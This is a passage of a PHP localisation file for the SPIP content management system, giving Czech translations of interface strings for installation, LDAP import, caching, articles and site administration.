'info_gauche_visiteurs_enregistres' => 'Zde naleznete návštěvníky zaregistrované
ve veřejné části webu (diskusní skupiny, do kterých je nutno se přihlásit).',
'info_generation_miniatures_images' => 'Generování náhledů',
'info_gerer_trad' => 'Správa odkazů na překlad?',
'info_hebergeur_desactiver_envoi_email' => 'Někteří poskytovatelé prostoru pro web (hostitelé)
mají vypnuté automatické zasílání emailů ze svých serverů.
Níže uvedené funkce systému SPIP pak nelze používat.',
'info_hier' => 'včera:',
'info_historique_activer' => 'Zapnout sledování revizí',
'info_historique_affiche' => 'Zobrazit tuto verzi',
'info_historique_comparaison' => 'porovnání',
'info_historique_desactiver' => 'Vypnout sledování revizí',
'info_historique_texte' => 'Sledování revizí umožňuje zachovat historii všech změn obsahu článku a zobrazit změny mezi jeho jednotlivými verzemi.',
'info_identification_publique' => 'Vaše veřejná identita...',
'info_image_process' => 'Nejlepší metodu tvorby náhledů zvolíte klepnutím na příslušný obrázek.',
'info_image_process2' => '<b>Pozn.:</b> <i>Neobjeví-li se žádný obrázek, není hostitelský server vašeho webu nastaven k používání těchto nástrojů. Chcete-li je používat, spojete se s příslušnou technickou podporou a požádejte o rozšíření "GD" nebo "Imagick".</i>', # MODIF
'info_images_auto' => 'Automaticky vypočtěné obrázky',
'info_informations_personnelles' => 'Pátý krok: <b>Osobní údaje</b>', # MODIF
'info_inscription_automatique' => 'Automatický zápis nových redaktorů',
'info_jeu_caractere' => 'Znaková sada webu',
'info_jours' => 'dny',
'info_laisser_champs_vides' => 'tato pole ponechte prázdná)',
'info_langues' => 'Jazyk webu',
'info_ldap_ok' => 'Byla nainstalována autentifikace LDAP.',
'info_lien_hypertexte' => 'Hypertextový odkaz:',
'info_liste_redacteurs_connectes' => 'Seznam připojených redaktorů',
'info_login_existant' => 'Toto uživatelské jméno již existuje.',
'info_login_trop_court' => 'Uživatelské jeméno je příliš krátké.',
'info_maximum' => 'maximum:',
'info_meme_rubrique' => 'Ve stejné sekci',
'info_message' => 'Zpráva z',
'info_message_efface' => 'ZPRÁVA BYLA ODSTRANĚNA',
'info_message_en_redaction' => 'Baše rozpracované zprávy',
'info_message_technique' => 'Technická zpráva:',
'info_messagerie_interne' => 'Interní systém zpráv',
'info_mise_a_niveau_base' => 'auktualizace databáze SQL', # MODIF
'info_mise_a_niveau_base_2' => '{{Pozor!}} Nainstalovali jste (starší) soubor
systému SPIP než ten, který byl na tomto webu předtím.
vystavujete se riziku ztráty databáze a nefunkčnosti vašeho webu.
<br />{{Nainstalujte znovu
soubor systému SPIP.}}', # MODIF
'info_modifier_rubrique' => 'Změnit sekci:',
'info_modifier_titre' => 'Změnit: @titre@',
'info_mon_site_spip' => 'Můj web SPIP',
'info_mot_sans_groupe' => '(Slova mimo skupinu...)',
'info_moteur_recherche' => 'Vestavěný vyhledávač',
'info_moyenne' => 'střed / průměr:',
'info_multi_articles' => 'Zapnout u článků nabídku jazyků?',
'info_multi_cet_article' => 'Jazyk článku:',
'info_multi_langues_choisies' => 'Dále zvolte jazyk, který bude k dispozici redaktorům tohoto webu.
Jazyky, které se již v rámci webu používají (zobrazené na počátku), nelze vypnout.',
'info_multi_rubriques' => 'Zapnout nabídku nazyků v sekcích?',
'info_multi_secteurs' => '... pouze u sekcí v kořenovém adresáři?',
'info_nom' => 'Jméno',
'info_nom_destinataire' => 'Jméno příjemce',
'info_nom_site' => 'Název webu',
'info_nombre_articles' => '@nb_articles@ články,',
'info_nombre_partcipants' => 'ÚČASTNÍCI DISKUSE:',
'info_nombre_rubriques' => '@nb_rubriques@ sekce,',
'info_nombre_sites' => '@nb_sites@ weby,',
'info_non_deplacer' => 'Nepřesouvat...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP může pravidelně rozesílat oznámení o novinkách na webu (nedávno publikované články a novinky).',
'info_non_envoi_liste_nouveautes' => 'Nezasílat seznam novinek',
'info_non_modifiable' => 'nelze změnit',
'info_non_suppression_mot_cle' => 'nechci odstanit toto klíčové slovo.',
'info_notes' => 'Poznámky',
'info_nouveaux_message' => 'Nové zprávy',
'info_nouvel_article' => 'Nový článek',
'info_nouvelle_traduction' => 'Nový překlad:',
'info_numero_article' => 'ČLÁNEK Č.:',
'info_obligatoire_02' => '[povinný údaj]', # MODIF
'info_option_accepter_visiteurs' => 'Schválit přihlášení návštěvníků veřejného webu',
'info_option_faire_suivre' => 'Sledovat zprávy z diskusní skupiny autory článků',
'info_option_ne_pas_accepter_visiteurs' => 'Odmítnout přihlášky návštěvníků',
'info_options_avancees' => 'ROZŠÍŘENÉ MOŽNOSTI',
'info_ortho_activer' => 'Zapnout kontrolu překlepů',
'info_ortho_desactiver' => 'Vypnout kontrolu překlepů',
'info_ou' => 'nebo...',
'info_page_interdite' => 'Zakázaná stránka',
'info_par_nom' => 'podle jména',
'info_par_nombre_article' => 'podle počtu článků',
'info_par_statut' => 'podle stavu',
'info_par_tri' => '’(podle @tri@)’',
'info_passe_trop_court' => 'Heslo je příliš krátké.',
'info_passes_identiques' => 'Zadaná hesla nesouhlasí.',
'info_pense_bete_ancien' => 'Staré interní poznámky', # MODIF
'info_plus_cinq_car' => 'vice než 5 znaků',
'info_plus_cinq_car_2' => '(Více než 5 znaků)',
'info_plus_trois_car' => '(více než 3 znaky)',
'info_popularite' => 'oblíbenost: @popularite@; návštěvy: @visites@',
'info_popularite_4' => 'oblíbenost: @popularite@; návštěvy: @visites@',
'info_post_scriptum' => 'P.S.',
'info_post_scriptum_2' => 'P.S.:',
'info_pour' => 'pro',
'info_preview_admin' => 'Náhled webu je přístupný pouze pro správce ',
'info_preview_comite' => 'Náhled webu je přístupný všem redaktorům',
'info_preview_desactive' => 'Náhledy jsou zcela vypnuty',
'info_preview_texte' => 'Náhled umožňuje zobrazit web tak, jakoby všechny články a novinky (minimálně ve stavu "předloženo") byly zveřejněny. Chcete náhled povolit jen správcům, všem redaktorům nebo jej nechcete povolit nikomu?',
'info_principaux_correspondants' => 'Vaši hlavní korespondenti',
'info_procedez_par_etape' => 'postupujte krok za krokem',
'info_procedure_maj_version' => 'pro úpravu nové verze systému SPIP je třeba spustit aktualizaci
databáze.',
'info_ps' => 'P.S.',
'info_publier' => 'zveřejnit',
'info_publies' => 'Vaše články publikované online',
'info_question_accepter_visiteurs' => 'Pokud šablona vašeho webu vyžaduje přihlášení návštěvníků bez přístupu do privátní části, aktivujte tuto možnost zde:',
'info_question_inscription_nouveaux_redacteurs' => 'Mohou se noví redaktoři přihlašovat z veřejné části webu?
Pokud ano, návštěvníci se mohou přihlašovat pomocí automatického formuláře
a získají přístup do privátní části. Budou tak moci navrhovat své vlastní
články. <blockquote><i>Při přihlášení
obdrží uživatelé automatický email
s uvedením přístupových údajů k privátní části.
Někteří poskytovatelé prostoru pro web odesílání emailů ze svých serverů
vypínají. Automatické přihlášení je v takovém případě
nemožné.', # MODIF
'info_question_utilisation_moteur_recherche' => 'Chcete používat vyhledávač, který je součástí systému SPIP?
(je-li vyhledávač vypnut, zrychluje to chod systému.)',
'info_qui_edite' => '@nom_auteur_modif@ a travaillé sur ce contenu il y a @date_diff@ minutes', # MODIF
'info_racine_site' => 'Kořenový adresář webu',
'info_recharger_page' => 'Za okamžik zkuste stránku znovu nahrát.',
'info_recherche_auteur_a_affiner' => 'Pro "@cherche_auteur@" bylo nalezeno příliš mnoho výsledků. Upřesněte vyhledávací kritéria.',
'info_recherche_auteur_ok' => 'Pro "@cherche_auteur@" bylo nalezeno více redaktorů:',
'info_recherche_auteur_zero' => 'Pro "@cherche_auteur@" nebyly nalezeny žádné výsledky.',
'info_recommencer' => 'Začněte znovu.',
'info_redacteur_1' => 'Redaktor',
'info_redacteur_2' => 's přístupem do privátní části(<i>doporučeno</i>)',
'info_redacteurs' => 'Redaktoři',
'info_redaction_en_cours' => 'ROZPRACOVÁNO',
'info_redirection' => 'Přesměrování',
'info_refuses' => 'Vaše odmítnuté články',
'info_reglage_ldap' => 'Možnost: <b>Nastavení importu LDAP</b>', # MODIF
'info_renvoi_article' => '<b>Přesměrování.</b> Tento článek odkazuje na stránku:', # MODIF
'info_reserve_admin' => 'Pouze administrátoři smějí modifikovat tuto adresu.',
'info_restreindre_rubrique' => 'Omezit správu sekce :',
'info_resultat_recherche' => 'Výsledky vyhledávání:',
'info_rubriques' => 'Sekce',
'info_rubriques_02' => 'sekce',
'info_rubriques_trouvees' => 'Nalezené sekce',
'info_rubriques_trouvees_dans_texte' => 'Nalezené sekce(v textu)',
'info_sans_titre' => 'Bez názvu',
'info_selection_chemin_acces' => '<b>Zadejte</b> cestu k adresáři:',
'info_signatures' => 'podpisy',
'info_site' => 'Web',
'info_site_2' => 'web:',
'info_site_min' => 'web',
'info_site_reference_2' => 'Web, na nějž vede odkaz',
'info_site_web' => 'WEB:', # MODIF
'info_sites' => 'weby',
'info_sites_lies_mot' => 'Weby, na něž vedou odkazy, a které jsou spojeny s tímto klíčovým slovem',
'info_sites_proxy' => 'Používat proxy',
'info_sites_trouves' => 'Nalezené weby',
'info_sites_trouves_dans_texte' => 'Nalezené weby (v textu)',
'info_sous_titre' => 'Dílčí nadpis:',
'info_statut_administrateur' => 'Správce',
'info_statut_auteur' => 'Statut autora:', # MODIF
'info_statut_auteur_a_confirmer' => 'Registrace k potvrzení',
'info_statut_auteur_autre' => 'Další status:',
'info_statut_efface' => 'Odstraněno',
'info_statut_redacteur' => 'Redaktor',
'info_statut_utilisateurs_1' => 'Standardní statut importovaných uživatelů',
'info_statut_utilisateurs_2' => 'Zadejte statut, který mají osoby uvedené v adresáři LDAP, když se poprvé připojí. Tuto hodnotu můžete u každého jednotlivého autora následně změnit.',
'info_suivi_activite' => 'Sledování redaktorské činnosti',
'info_surtitre' => 'Nadřízený nadpis:',
'info_syndication_integrale_1' => 'Váš web nabízí soubory pro syndikaci (viz <a href="@url@">@titre@</a>”).',
'info_syndication_integrale_2' => 'Chcete poslat celé články, nebo jen prvních pár set znaků jako shrnutí?',
'info_taille_maximale_vignette' => 'Maximální velikost náhledů generovaných systémem:',
'info_terminer_installation' => 'Nyní můžete ukončit standardní instalaci.',
'info_texte' => 'Text',
'info_texte_explicatif' => 'Vysvětlivka',
'info_texte_long' => '(text je příliš dlouhý, proto se zobrazuje v několika částech. Po schválení budou spojeny.)',
'info_texte_message' => 'Text zprávy:', # MODIF
'info_texte_message_02' => 'Text zprávy',
'info_titre' => 'Nadpis:',
'info_total' => 'celkem:',
'info_tous_articles_en_redaction' => 'Všechny rozpracované články',
'info_tous_articles_presents' => 'Všechny články publikované v této rubrice.',
'info_tous_les' => 'všechny:',
'info_tous_redacteurs' => 'Zpráva pro všechny redaktory',
'info_tout_site' => 'Celý web',
'info_tout_site2' => 'Do tohoto jazyka nebyl článek přeložen.',
'info_tout_site3' => 'Článek byl do tohoto jazyka přeložen, ale referenční článek byl následně změněn. Překlad je proto třeba aktualizovat.',
'info_tout_site4' => 'Do tohoto jazyka byl článek přeložen a překlad je aktuální.',
'info_tout_site5' => 'Původní článek.',
'info_tout_site6' => '<b>Pozor:</b> zobrazeny jsou pouze původní články.
Překlady jsou spojeny s originálem a barva
ukazuje jejich stav:',
'info_travail_colaboratif' => 'Spolupráce na článku',
'info_un_article' => 'článek, ',
'info_un_site' => 'jeden web, ',
'info_une_rubrique' => 'jedna sekce, ',
'info_une_rubrique_02' => '1 sekce',
'info_url' => 'URL:',
'info_url_site' => 'URL WEBU:',
'info_urlref' => 'Hypertextový odkaz:',
'info_utilisation_spip' => 'Nyní můžete začít používat redakční systém...',
'info_visites_par_mois' => 'Zobrazení po měsících:',
'info_visiteur_1' => 'Návštěvník',
'info_visiteur_2' => 'z veřejného webu',
'info_visiteurs' => 'Návštěvníci',
'info_visiteurs_02' => 'Návštěvníci z veřejného webu',
'install_echec_annonce' => 'Instalace se nejspíš nezdaří, resp. jejím výsledkem bude nefunkční web...',
'install_extension_mbstring' => 'Systém SPIP nefunguje s:',
'install_extension_php_obligatoire' => 'Systém SPIP vyžaduje rozšíření php:',
'install_select_langue' => 'Zvolte jazyk a spusťte instalaci klepnutím na tlačítko "Další".',
'intem_redacteur' => 'redaktor',
'item_accepter_inscriptions' => 'Schválit přihlášky',
'item_activer_messages_avertissement' => 'Zapnout upozornění',
'item_administrateur_2' => 'správce',
'item_afficher_calendrier' => 'Zobrazit v kalendáři',
'item_autoriser_documents_joints' => 'Povolit dokumenty přiložené k článku',
'item_autoriser_documents_joints_rubriques' => 'Povolit dokumenty v sekcích',
'item_autoriser_syndication_integrale' => 'Vložit kompletní články do syndikačních souborů',
'item_choix_administrateurs' => 'administrátoři',
'item_choix_generation_miniature' => 'Automaticky generovat náhledy obrázků.',
'item_choix_non_generation_miniature' => 'Negenerovat náhledy obrázků.',
'item_choix_redacteurs' => 'redaktoři',
'item_choix_visiteurs' => 'návštěvníci veřejného webu',
'item_creer_fichiers_authent' => 'Vytvořit soubory .htpasswd',
'item_limiter_recherche' => 'Omezit vyhledávání na údaje obsažené na vašem webu',
'item_login' => 'Uživatelské jméno',
'item_mots_cles_association_articles' => 'k článkům,',
'item_mots_cles_association_rubriques' => 'k sekcím',
'item_mots_cles_association_sites' => 'k webům, na něž existují odkazy nabo k syndikovaným webům.',
'item_non' => 'Ne',
'item_non_accepter_inscriptions' => 'Odmítnout přihlášky',
'item_non_activer_messages_avertissement' => 'Bez upozornění',
'item_non_afficher_calendrier' => 'Nezobrazovat v kalendáři',
'item_non_autoriser_documents_joints' => 'Nepovolit dokumenty v článcích',
'item_non_autoriser_documents_joints_rubriques' => 'Nepovolit dokumenty v sekcích',
'item_non_autoriser_syndication_integrale' => 'Poslat pouze shrnutí',
'item_non_creer_fichiers_authent' => 'Nevytvářet tyto soubory',
'item_non_gerer_statistiques' => 'Bez správy statistik',
'item_non_limiter_recherche' => 'Rozšířit hledání na obsah webů, na něž vedou odkazy',
'item_non_publier_articles' => 'Nezveřejňovat články před stanoveným datem.',
'item_non_utiliser_moteur_recherche' => 'Nepoužívat vyhledávač',
'item_nouvel_auteur' => 'Nový autor',
'item_nouvelle_rubrique' => 'Nová sekce',
'item_oui' => 'Ano',
'item_publier_articles' => 'Zveřejnit články bez ohledu na datum.',
'item_reponse_article' => 'Odpověď na článek',
'item_utiliser_moteur_recherche' => 'Používat vyhledávač',
'item_visiteur' => 'návštěvník',
// J
'jour_non_connu_nc' => 'neuvedeno',
// L
'lien_ajout_destinataire' => 'Přidat příjemce',
'lien_ajouter_auteur' => 'Přidat autora',
'lien_ajouter_participant' => 'Přidat účastníka',
'lien_email' => 'email',
'lien_nom_site' => 'NÁZEV WEBU:',
'lien_retirer_auteur' => 'Odstanit autora',
'lien_retrait_particpant' => 'odstranit účastníka',
'lien_site' => 'web',
'lien_supprimer_rubrique' => 'zrušit sekci',
'lien_tout_deplier' => 'Rozbalit vše',
'lien_tout_replier' => 'Sbalit vše',
'lien_trier_nom' => 'Třídit podle jména',
'lien_trier_nombre_articles' => 'Třídit podle čísel článků',
'lien_trier_statut' => 'Třídit podle stavu',
'lien_voir_en_ligne' => 'ZOBRAZIT ONLINE:',
'logo_article' => 'LOGO ČLÁNKU', # MODIF
'logo_auteur' => 'LOGO AUTORA', # MODIF
'logo_rubrique' => 'LOGO SEKCE', # MODIF
'logo_site' => 'LOGO WEBU', # MODIF
'logo_standard_rubrique' => 'STANDARDNÍ LOGO SEKCE', # MODIF
'logo_survol' => 'LOGO PŘI PŘECHODU', # MODIF
// M
'menu_aide_installation_choix_base' => 'Volba databáze',
'module_fichier_langue' => 'Jazykový soubor',
'module_raccourci' => 'Zkratka',
'module_texte_affiche' => 'Zobrazený text',
'module_texte_explicatif' => 'Do šablony webu můžete vložit následující zkratky. Budou automaticky přeloženy do jazyků, pro něž existují jazykové soubory.',
'module_texte_traduction' => 'Jazykový soubor " @module@ " existuje v těchto verzích:',
'mois_non_connu' => 'není známo',
// O
'onglet_repartition_actuelle' => 'nyní',
// P
'plugin_etat_developpement' => 'upravuje se',
'plugin_etat_experimental' => 'experimentalní',
'plugin_etat_stable' => 'stabilní',
'plugin_etat_test' => 'testovací verze',
'plugins_liste' => 'Seznam pluginů',
// R
'repertoire_plugins' => 'Adresář:',
// S
'statut_admin_restreint' => '(admin - vyhrazeno)', # MODIF
// T
'taille_cache_image' => 'Obrázky, automaticky vypočtené systémem SPIP (náhledy dokumentů, názvy zobrazené graficky, matematické funkce ve formátu TeX...) zabírají v adresáři @dir@ celkem @taille@.',
'taille_cache_infinie' => 'Maximální velikost adresáře pro vyrovnávací pamět není na tomto webu omezena.',
'taille_cache_maxi' => 'Systém SPIP se snaží omezit velikost adresáře vyrovnávací paměti (cache) tohoto webu na cca <b>@octets@</b> bajtů.',
'taille_cache_octets' => 'Velikost cache je v současnosti @octets@.', # MODIF
'taille_cache_vide' => 'Cache je prázdná.',
'taille_repertoire_cache' => 'Velikost adresáře cache',
'text_article_propose_publication' => 'Články připravené k publikování. Neváhejte přidat svůj názor prostřednictvím diskusního fóra, jež je připojeno ke každému článku (na spodním okraji stránky).', # MODIF
'texte_acces_ldap_anonyme_1' => 'Některé servery LDAP odmítají anonymní přístup. V takovém případě je třeba definovat identifikační údaje pro přístup, aby bylo možno hledat v adresáři. Přesto je však většinou možné nechat následující pole nevyplněná.',
'texte_admin_effacer_01' => 'Tímto příkazem odstraníte <i>veškerý</i> obsah databáze,
včetně <i>veškerých</i> přístupů redaktorů a správců. Pokud jej spustíte, musíte následně znovu nainstalovat
systém SPIP, abyste vytvořili novou databázi a první přístup pro správce.',
'texte_adresse_annuaire_1' => '(Máte-li adresář uložen na stejném počítači jako tento web, jedná se nejspíše o "localhost".)',
'texte_ajout_auteur' => 'K článku byl doplněn tento autor:',
'texte_annuaire_ldap_1' => 'Máte-li přístup k adresáři (LDAP), můžete jej použít k automatickému importu uživatelů do systému SPIP.',
'texte_article_statut' => 'Tento článek je:',
'texte_article_virtuel' => 'Virtuální článek',
'texte_article_virtuel_reference' => '<b>Virtuální článek:</b> znamená článek, na nějž je na vašem webu SPIP odkaz. Ten je však přesměrován na jinou adresu URL. Chcete-li přesměrování zrušit, odstraňte níže uvedenou adresu URL.',
'texte_aucun_resultat_auteur' => 'Vyhledávání"@cherche_auteur@" nepřineslo žádné výsledky',
'texte_auteur_messagerie' => 'Na tomto webu lze mít neustále zobrazený seznam připojených redaktorů. To umožňuje přímou výměnu zpráv. Na uvedeném seznamu nemusíte figurovat (pro ostatní uživatele jste "neviditelní").',
'texte_auteur_messagerie_1' => 'Na tomto webu je možné zasílání zpráv mezi účastníky a vytváření soukromých diskusních skupin. Těchto skupin a diskusí se nemusíte účastnit.',
'texte_auteurs' => 'AUTOŘI',
'texte_choix_base_1' => 'Zvolte databázi:',
'texte_choix_base_2' => 'Na serveru SQL je několik databází.', # MODIF
'texte_choix_base_3' => '<b>Zvolte</b> databázi, která vám byla přidělena poskytovatelem webového prostoru:', # MODIF
'texte_commande_vider_tables_indexation' => 'Tento příkaz slouží k vyčištění indexových tabulek, které používá
vyhledávač, jenž je součástí systému SPIP. Umožní vám získat více
místa na disku.',
'texte_compresse_ou_non' => '(může ale nemusí být komprimováno)',
'texte_compte_element' => '@count@ prvek',
'texte_compte_elements' => '@count@ prvky',
'texte_connexion_mysql' => 'Zkontrolujte informace od vašeho poskytovatele webového prostoru: mělo by tam být uvedeno, zda podporuje databázi SQL a přístupové kódy pro připojení k serveru SQL.', # MODIF
'texte_contenu_article' => '(Obsah článku v několika slovech.)',
'texte_contenu_articles' => 'Na základě šablony svého webu se můžete rozhodnout, že některé prvky
článků nebudete používat.
Pro označení funkcí, které jsou k dispozici, použijte níže uvedený seznam.',
'texte_crash_base' => 'Došlo-li ke zhroucení databáze,
můžete zkusit její automatickou obnovu.',
'texte_creer_rubrique' => 'Než můžete začít psát články,<br /> musíte vytvořit sekci.', # MODIF
'texte_date_creation_article' => 'DATUM NAPSÁNÍ ČLÁNKU:',
'texte_date_publication_anterieure' => 'Datum poslední úpravy:',
'texte_date_publication_anterieure_nonaffichee' => 'Nezobrazovat datum poslední úpravy.',
'texte_date_publication_article' => 'DATUM ZVEŘEJNĚNÍ ONLINE:',
'texte_descriptif_petition' => 'Popis petice',
'texte_descriptif_rapide' => 'Stručný popis',
'texte_effacer_base' => 'Odstranit databázi SPIP',
'texte_effacer_donnees_indexation' => 'Odstranit indexy',
'texte_en_cours_validation' => 'Následující články a novinky jsou připraveny k publikaci. Neváhejte připojit svůj názor prostřednictvím diskusního fóra, jež je k nim připojeno.', # MODIF
'texte_enrichir_mise_a_jour' => 'Zalamování textu můžete rozšířit pomocí "typografických zkratek".',
'texte_fichier_authent' => '<b>Má systém SPIP vytvořit speciální soubory <tt>.htpasswd</tt>
a <tt>.htpasswd-admin</tt> v adresáři @dossier@?</b><p>
Tyto soubory umožňují omezit přístup autorů a správců k dalším částem
vašeho webu
(např. k externímu programu statistik).</p><p>
Nechcete-li tyto soubory používat, můžete ponechat výchozí hodnotu
(nevytvářet soubory).</p>', # MODIF
'texte_informations_personnelles_1' => 'Systém pro vás nyní vytvoří vlastní přístup k webu.',
'texte_informations_personnelles_2' => '(Poznámka: pokud se jedná o opakovanou instalaci a váš přístup je stále funkční, můžete', # MODIF
'texte_introductif_article' => '(Úvodní text článku.)',
'texte_jeu_caractere' => 'Doporučujeme použít univerzální abecedu Unicode (<tt>utf-8</tt>) pro váš web, která umožňuje zobrazit texty v jakémkoli jazyce. Žádný moderní prohlížeč s Unicode nemá potíže.',
'texte_jeu_caractere_2' => 'Toto nastavení nezmění texty, které jsou již uloženy v databázi.',
'texte_jeu_caractere_3' => 'Váš web nyní používá tuto znakovou sadu:',
'texte_jeu_caractere_4' => 'Pokud toto neodpovídá vaší situaci (například po obnovení dat ze zálohy), nebo <em>pokud konfigurujete tento web</em> a chcete použít jinou znakovou sadu, prosím označte znakovou sadu:',
'texte_jeu_caractere_conversion' => 'Můžete se rozhodnout zkonvertovat všechny texty (články, novinky, diskuse, ...) jednou provždy do <tt>UTF-8</tt>. Použijte <a href="@url@">UTF-8 konverzní stránku</a>.',
'texte_lien_hypertexte' => '(Jestliže se vaše zpráva vztahuje k nějakému článku na webu nebo jiné stránce s dalšími informacemi, vložte zde její titulek a URL.)',
'texte_login_ldap_1' => '(V případě anonymního přístupu ponechte prázdné, případně zadejte kompletní cestu "<tt>uid=dupont, ou=users, dc=mon-domaine, dc=com</tt>".)',
'texte_login_precaution' => 'Pozor! Pod tímto uživatelským jménem jste právě přihlášeni!
Tento formulář používejte opatrně...',
'texte_message_edit' => 'Pozor! Tuto zprávu může měnit kdokoli ze správců webu. Zobrazuje se všem redaktorům. Oznámení používejte pouze, pokud chcete zveřejnit významné události týkající se činnosti webu.',
'texte_mise_a_niveau_base_1' => 'Aktualizovali jste soubory systému SPIP.
Nyní musíte aktualizovat databázi webu.',
'texte_modifier_article' => 'Změnit článek:',
'texte_moteur_recherche_active' => '<b>Je zapnut vyhledávač.</b> Tento příkaz slouží k rychlému indexování
(např. po obnově ze zálohy).
Upozornění: Dokumenty, které byly změněny normálním způsobem
(pomocí rozhraní systému SPIP) jsou reindexovány automaticky:
Příkaz je tedy vhodné používat pouze výjimečně.',
'texte_moteur_recherche_non_active' => 'Vyhledávač je vypnut.',
'texte_multilinguisme' => 'Chcete-li správu článků v několika jazycích se složitou navigací, můžete k článkům, resp. sekcím (záleží na organizační struktuře vašeho webu) přidat nabídku pro výběr jazyka.', # MODIF
'texte_multilinguisme_trad' => 'Rovněž můžete zapnout systém správy odkazů mezi překlady jednotlivých článků.', # MODIF
'texte_non_compresse' => '<i>nekomprimováno</i> (váš server tuto funkci nepodporuje)',
'texte_nouveau_message' => 'Nová zpráva',
'texte_nouvelle_version_spip_1' => 'Nainstalovali jste novou verzi systému SPIP.',
'texte_nouvelle_version_spip_2' => 'Tato verze vyžaduje rozsáhlejší aktualizaci než je obvyklé. Jste-li správcem tohoto webu, odstraňte soubor @connect@ a spusťte instalaci. Tím dojde k aktualizaci parametrů pro připojení k databázi.<p> (Pozn.: Pokud jste parametry pro připojení zapomněli, podívejte se nejprve do souboru @connect@, a teprve poté jej odstraňte...)</p>', # MODIF
'texte_operation_echec' => 'Vraťte se na předchozí stránku a zvolte jinou databázi nebo vytvořte novou. Zkontrolujte informace od svého poskytovatele prostoru pro web.',
'texte_plus_trois_car' => 'více než 3 znaky',
'texte_plusieurs_articles' => 'Pro "@cherche_auteur@" bylo nalezeno několik autorů:',
'texte_port_annuaire' => '(Většinou vyhovuje přednastavená hodnota.)',
'texte_presente_plugin' => 'Tato stránka zobrazuje všechny dostupné pluginy. Aktivujte potřebné pluginy zaškrtnutím příslušného políčka.',
'texte_proposer_publication' => 'Po dopsání článku,<br /> můžete navrhnout jeho zveřejnění.', # MODIF
'texte_proxy' => 'V některých případech (intranet, chráněné sítě...),
je třeba používat <i>HTTP proxy</i>. Jinak se k syndikovaným webům nedostanete.
V takovém případě uveďte adresu proxy níže ve formátu
<tt><html>http://proxy:8080</html></tt>. Obvykle
je toto pole prázdné.', # MODIF
'texte_publication_articles_post_dates' => 'Jak má systém SPIP zacházet s články, u nichž bylo datum zveřejnění
stanoveno do budoucnosti?',
'texte_rappel_selection_champs' => '[Nezapomeňte správně zvolit hodnotu v tomto poli.]',
'texte_recalcul_page' => 'Chcete-li tuto stránku znovu vygenerovat,
přejděte raději do veřejné části a použijte tlačítko "znovu vypočítat".',
'texte_recapitiule_liste_documents' => 'Na této stránkce je přehled dokumentů umístněných v sekcích. Informace o dokumentech změníte klepnutím na odkaz na stránku příslušné sekce.',
'texte_recuperer_base' => 'Opravit databázi',
'texte_reference_mais_redirige' => 'Na článek je na vašem webu SPIP odkaz, ale je přesměrován na jinou adresu URL.',
'texte_requetes_echouent' => '<b>Pokud některé dotazy SQL neustále
selhávají bez zjevné příčiny, může to být kvůli samotné databázi.</b><p>
Databáze SQL umožňuje opravu náhodně poškozených databázových tabulek.
O opravu se můžete pokusit.
Pokud se obnova nezdaří, uložte si zobrazené hlášení.
Může v něm být uvedena příčina selhání...</p><p>
Jestliže problém nejde vyřešit, kontaktujte
svého poskytovatele webového prostoru.</p>', # MODIF
'texte_selection_langue_principale' => 'Níže můžete vybrat "hlavní jazyk" webu. Tato volba vás neomezuje na psaní článků pouze v tomto jazyce, ale umožňuje určit:
<ul><li> standardní formát dat veřejného webu;</li>
<li> podstatu textového procesoru, který systém SPIP použije při zadávání textů;</li>
<li> jazyk formulářů veřejného webu;</li>
<li> výchozí jazyk privátní části.</li></ul>',
'texte_sous_titre' => 'Dílčí název',
'texte_statistiques_visites' => '(tmavě: neděle / tmavá křivka: průměr)',
'texte_statut_attente_validation' => 'čekající na schválení',
'texte_statut_publies' => 'publikováno online',
'texte_statut_refuses' => 'odmítnuto',
'texte_suppression_fichiers' => 'Tento příkaz služí k odstranění všech souborů v paměti cache systému SPIP.
Tím například vynutíte obnovu všech stránek poté, co provedete významné
změny grafického uspořádání nebo struktury vašeho webu.',
'texte_sur_titre' => 'Podtitul',
'texte_table_ok' => ': tato tabulka je v pořádku.',
'texte_tables_indexation_vides' => 'Tabulky indexů vyhledávače jsou prázdné.',
'texte_tentative_recuperation' => 'Pokus o opravu',
'texte_tenter_reparation' => 'Zkusit opravu databáze',
'texte_test_proxy' => 'Proxy otestujete zadáním adresy webu,
který chcete odzkoušet.',
'texte_titre_02' => 'Název:',
'texte_titre_obligatoire' => '<b>Název</b> [povinný údaj]', # MODIF
'texte_travail_article' => '@nom_auteur_modif@ upravoval tento článek před @date_diff@ minutou/minutami',
'texte_travail_collaboratif' => 'Pokud na jednom článku často pracuje několik
redaktorů, může systém zobrazit články "otevřené"
v poslední době. Tím se předejde souběžným úpravám.
Tato možnost je standardně vypnuta, aby se předešlo
zobrazování zbytečných varovných hlášení.',
'texte_trop_resultats_auteurs' => 'Pro "@cherche_auteur@" bylo zobrazeno příliš mnoho výsledků. Zpřesněte vyhledávací kritéria.',
'texte_unpack' => 'odesílání/stahování poslední verze',
'texte_utilisation_moteur_syndiques' => 'Vestavěný prohledávací nástroj systému SPIS,
můžete vyhledávat i na syndikovaných webech a v syndikovaných
článcích, a to dvěma různými způsoby. <br />- Nejjednodušší je
hledat pouze v názvech a popisech článků. <br />- Druhý, mnohem účinnější způsob, umožňuje systému SPIP
hledat i v textech webů, na které vedou odkazy.
Pokud se odkazujete nějaký web, systém SPIP
bude vyhledávat v textech tohoto webu.', # MODIF
'texte_utilisation_moteur_syndiques_2' => 'Tento způsob vyžaduje, aby systém SPIP
pravidelně odkazované weby navštěvoval.
To může mírně zpomalit běh vašeho webu.',
'texte_vide' => 'vyprázdnit',
'texte_vider_cache' => 'Vyprázdnit cache',
'titre_admin_effacer' => 'Technická údržba',
'titre_admin_tech' => 'Technická údržba',
'titre_admin_vider' => 'Technická údržba',
'titre_cadre_afficher_article' => 'Zobrazit články',
'titre_cadre_afficher_traductions' => 'Zobrazit stav překladu v následujících jazycích:',
'titre_cadre_ajouter_auteur' => 'PŘIDAT AUTORA:',
'titre_cadre_interieur_rubrique' => 'V rámci sekce',
'titre_cadre_numero_auteur' => 'ČÍSLO AUTORA',
'titre_cadre_signature_obligatoire' => '<b>Podpis</b> [povinný údaj]<br />', # MODIF
'titre_config_fonctions' => 'Nastavení webu',
'titre_configuration' => 'Nastavení webu',
'titre_connexion_ldap' => 'Možnost: <b>Vaše připojení LDAP</b>',
'titre_groupe_mots' => 'SKUPINA SLOV:',
'titre_langue_article' => 'JAZYK ČLÁNKU', # MODIF
'titre_langue_rubrique' => 'JAZYK SEKCE', # MODIF
'titre_langue_trad_article' => 'JAZYK ČLÁNKU A JEHO PŘEKLADŮ',
'titre_les_articles' => 'ČLÁNKY',
'titre_naviguer_dans_le_site' => 'Procházet webem...',
